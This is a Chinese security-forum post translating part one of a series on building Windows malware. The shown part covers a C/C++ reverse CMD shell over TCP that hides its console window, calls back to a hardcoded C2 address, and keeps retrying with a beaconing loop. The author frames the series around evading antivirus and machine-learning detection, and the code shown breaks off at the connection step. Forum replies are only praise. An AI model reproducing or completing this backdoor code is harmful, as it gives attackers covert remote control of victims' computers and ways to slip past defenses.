首页
社区
课程
招聘
[翻译]构建木马-第一部分:简单的CMD反向Shell
发表于: 2018-10-15 20:26 9027

[翻译]构建木马-第一部分:简单的CMD反向Shell

2018-10-15 20:26
9027

       如果你尚未观看视频,请查看我做的躲避防病毒程序的链接:

       1. Windows 云机器学习防护躲避

       2.卡巴斯基防病毒躲避

       除了上述两个,我还能够躲避赛门铁克终端保护,它同样基于机器学习和迈克菲。 我没有为他们上传视频,而是决定写一个全新的系列,分为3个部分,每部分如下所示

       构建恶意软件第1部分:简单的CMD反向Shell

       构建恶意软件第2部分:在模拟组织环境中躲避防病毒程序 

       构建恶意软件第3部分:逃避机器学习检测

       在我们开始之前,我首先要告诉你这不是初学者的博客帖子。 你将需要至少一些C / C ++和Python的编程经验。 如果你想要一些关于编写恶意软件的基本知识,你可以在这里阅读我的其他关于恶意软件开发的适合初学者的博客系列: NII-Checkmate ,它专注于在C / C ++中调用Windows API来编写具有Python3调用接口的自定义恶意软件。

       在这篇文章中,我们将介绍一种使用C / C ++编写的建立在TCP上的反向CMD shell。 请注意,这并非完全无法察觉。 在下一篇文章中,我将介绍如何编写完全无法被线下防病毒软件检测到的企业级恶意软件,以及我们如何使用HTTP协议代替TCP协议 ,使用主机名而不是C2服务器的IP地址来编写C / C ++代码并躲避防火墙检测。 在最后一部分中,我将编写如何躲避使用机器学习来检测可执行文件异常行为的防病毒软件。

       我们的主要目标是避开所有东西,同时尽可能降低可执行文件的大小。 随着时间的推移,我们不断写代码并且加密,可执行文件的大小将增加,因此需要记录下,我们在使用哪些外部库以及如何编译代码,无论是静态库还是动态库。 如果你使用g ++编译下面的可执行程序,大小应该在21Kb左右,对于我在Linux中使用的mingw交叉编译器来说,生成的恶意软件的大小是13Kb ,对于cl,例如微软的编译器,大小大约是87Kb,它做了很多代码优化。 此外,你也可以使用netcat,或构建一个python服务器来处理反向shell的多个通信。 对我而言,我已经用Cython构建了一个C2服务器,它使用多进程同时处理多个木马。我已将其命名为Prometheus ,如上所示。

       说的够多了,让我们编写一些恶意代码......

       以下是我们要使用的头文件:

#include <winsock2.h>

#include <windows.h>

#include <ws2tcpip.h>

#pragma comment(lib, "Ws2_32.lib")

#define DEFAULT_BUFLEN 1024

在上面的代码中, winsock2.h和ws2tcpip.h用于TCP / IP上的Windows套接字通信。 windows.h 用于调用其他进程,初始化其他头文件和调用。 我们使用#pragma comment(lib,“Ws2_32.lib”)来通知编译器将该库静态编译为可执行文件。 如果没有这个,我们的可执行文件将无法在任何计算机上运行,除非他们的系统中安装了Microsoft Visual C / C ++ redistributable组件。 因为我们无法确定这一点,所以我们将在可执行文件内静态链接此库,而不是动态链接它,以便它在每台机器上都能运行。 最后,我们在一个变量中为socket的recv和send函数定义缓冲区长度,并给它1024字节的固定大小。

       PS:如果您没有使用微软编译器,则你必须使用g++ / mingw32-g++中的-lws2_32选项静态链接可执行文件。

       我将把整个代码分成两个函数。 一个是主函数,另一个是执行生成反向shell的任务的函数。 让我们来看看主函数:



int main(int argc, char **argv) {

    FreeConsole();

    if (argc == 3) {

        int port  = atoi(argv[2]); //Converting port in Char datatype to Integer format

        RunShell(argv[1], port);

    }

    else {

        char host[] = "192.168.56.130";

        int port = 8080;

        RunShell(host, port);

    }

    return 0;

}


       在上面的代码中,我的主函数接受3个参数。 我在使用FreeConsole()函数来禁用控制台窗口,以便用户看不到它。 如果我们的程序收到3个参数,它将使用第2个参数作为C2服务器的 IP,第3个参数作为C2的端口。 如果它没有收到任何参数,它将使用硬编码的主机和端口作为C2服务器和端口,并将其转发到另一个名为RunShell()的函数,该函数运行反向 shell。 我们现在来看看RunShell函数。



       在我们开始之前,让我来告诉你,我们需要确保我们的恶意软件即使断开连接也应继续运行,无论是因为故意还是因为错误。 因此,我们将使用while true循环和Sleep函数,这样如果我们断开连接,它将会休眠几秒钟然后连接回我们。 这被称为beaconing。 在进行红队评估时,请确保使用基于时间的自定义beaconing,以便在代理级别不会检测到它。


void RunShell(char* C2Server, int C2Port) {

    while(true) {

        Sleep(5000);    // 1000 = One Second


        SOCKET mySocket;

        sockaddr_in addr;

        WSADATA version;

        WSAStartup(MAKEWORD(2,2), &version);

        mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

        addr.sin_family = AF_INET;

        addr.sin_addr.s_addr = inet_addr(C2Server);  //IP received from main function

        addr.sin_port = htons(C2Port);     //Port received from main function


        //Connecting to Proxy/ProxyIP/C2Host


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2018-10-16 08:38 被jdlxy编辑 ,原因: 链接不全
收藏
免费 1
支持
分享
打赏 + 1.00雪花
打赏次数 1 雪花 + 1.00
 
赞赏  junkboy   +1.00 2018/10/15
最新回复 (6)
雪    币: 484
活跃值: (57)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
干货,mark,学习一下
2018-10-15 22:28
0
雪    币: 3561
活跃值: (541)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
大牛牛
2018-10-24 10:15
0
雪    币: 3561
活跃值: (541)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
蜜雪草精灵 干货,mark,学习一下
2018-10-24 10:15
0
雪    币: 2377
活跃值: (2496)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
前排围观。
2018-10-25 09:02
0
雪    币: 1620
活跃值: (17)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
期待第二部分
2018-10-25 22:28
0
雪    币: 545
活跃值: (257)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
7
mark
2018-11-19 16:40
0
游客
登录 | 注册 方可回帖
返回
//